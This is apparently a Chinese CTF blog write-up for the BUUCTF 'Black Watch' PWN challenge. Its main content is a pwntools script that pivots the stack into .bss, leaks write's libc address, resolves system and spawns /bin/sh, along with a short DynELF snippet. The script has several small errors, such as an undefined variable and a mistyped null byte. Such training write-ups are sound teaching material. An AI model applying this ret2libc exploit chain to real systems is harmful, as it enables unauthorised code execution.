• 『BUUCTF』:PWN | [Black Watch 入群题]PWN 1


    checksec检查防护:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    尝试运行一下:

    1 Hello good Ctfer!
    2 What is your name? >aaa
    3 What do you want to say? >bbb
    4 GoodBye!

    IDA静态分析:

      main:

    exp:

     1 #coding=utf-8
     2 from pwn import *
     3 from LibcSearcher import *
     4 
     5 io = process('./spwn')
     6 elf = ELF('./spwn')
     7 
     8 bss_s = 0x0804A300              #将fake栈迁移到bss中
     9 leave_ret_addr = 0x08048408     #栈迁移所需要的的地址
    10 write_plt = elf.plt['write']    #plt表可以调用write函数
    11 write_got = elf.got['write']    #got表里有write函数的真实地址
    12 main_addr = elf.symbols['main'] #控制函数执行流需要再次回到主函数
    13 
    14 payload = p32(write_plt)        #需要打印出write的真实地址查出
    15 payload += p32(main_addr)       #执行write函数后需要将程序再次返回到主函数上
    16 payload += p32(1)               #write函数的3个参数,1是第三个参数 
    17 payload += p32(write_got) 
    18 payload += p32(4)
    19 
    20 io = recvuntil("What is your name?")
    21 io.send(payload)
    22 #上面将一些执行流程写入了bss段,接下来的写入的buf在栈上,所以可以控制程序执行到bss段
    23 
    24 payload2 = 'a'*0x18             #这个payload是写到栈上进行栈迁移的,所以先填充到ebp之前
    25 payload2 += p32(bss_s - 4)      #因为有pop ebp的缘故,会是的栈顶指针esp - 4,将ebp覆盖为想要调整到的位置-4
    26 payload2 += p32(leave_ret_addr) #栈迁移需要leave_ret
    27 io.recvuntil("What do you want to say?")
    28 io.send(payload2)
    29 #顺利的话,进过这里的栈迁移,会执行我们之前在bss上写好的执行流,将write的真实地址泄露出来。
    30 
    31 write_real_addr = u32(io.recv(4))                #接收泄露的地址
    32 libc = LibcSearcher('write',write_real_addr)     #这个libcsearcher函数可以根据泄露的地址找到相应的libc版本
    33 libc_base = write_real_addr - libc.dump('write') #获取到偏移量
    34 system_addr = libc_base + libc.dump('system')    #通过我们获取到的偏移量和system在libc中的地址可以的到system在程序中的真实地址
    35 
    36 #第一次执行得到system函数地址后接下来会再次执行main函数,我们需要在这次有system函数的情况下再次进行相同的栈迁移执行system('/bin/shx00')
    37 io.recv()
    38 payload3 = p32(system_addr) #fake栈执行函数
    39 payload3 += 'rrrr'          #返回地址
    40 payload3 += p32(bss_s+0x0c) #程序没有现成system的参数,将参数写在后面,只需要知道bss_s的地址和偏移即可
    41 payload3 += '/bin/shx00'   #参数存放的地方
    42 io.send(payload3)           
    43 
    44 io.recvuntil("say?")
    45 payload4 = 'a'*0x18 + p32(bss_s - 4) + p32(leave_ret)   #溢出并迁移栈
    46 io.send(payload4)
    47 
    48 io.interactive()
    EXP

     新添加DynELF原理探究实战使用

    d=DynELF(leak, ptr)
    
    system_addr = d.lookup('system', 'libc')
    

    参考博客

    栈迁移相关知识

    LibcSearcher相关使用指南

  • 相关阅读:
    jsp_Scriptlet
    jsp_注释
    Http状态码详解
    Tomcat服务器的安装和配置
    【BZOJ 1018】线段树 **
    【BZOJ 2054】 2054: 疯狂的馒头 (并查集特技)
    【BZOJ 1969】 1969: [Ahoi2005]LANE 航线规划 (树链剖分+线段树)
    【BZOJ 1880】 [Sdoi2009]Elaxia的路线 (最短路树)
    【UOJ 79】 一般图最大匹配 (✿带花树开花)
    【UOJ 34】 多项式乘法 (FFT)
  • 原文地址:https://www.cnblogs.com/Zowie/p/13512407.html
Copyright © 2020-2023  润新知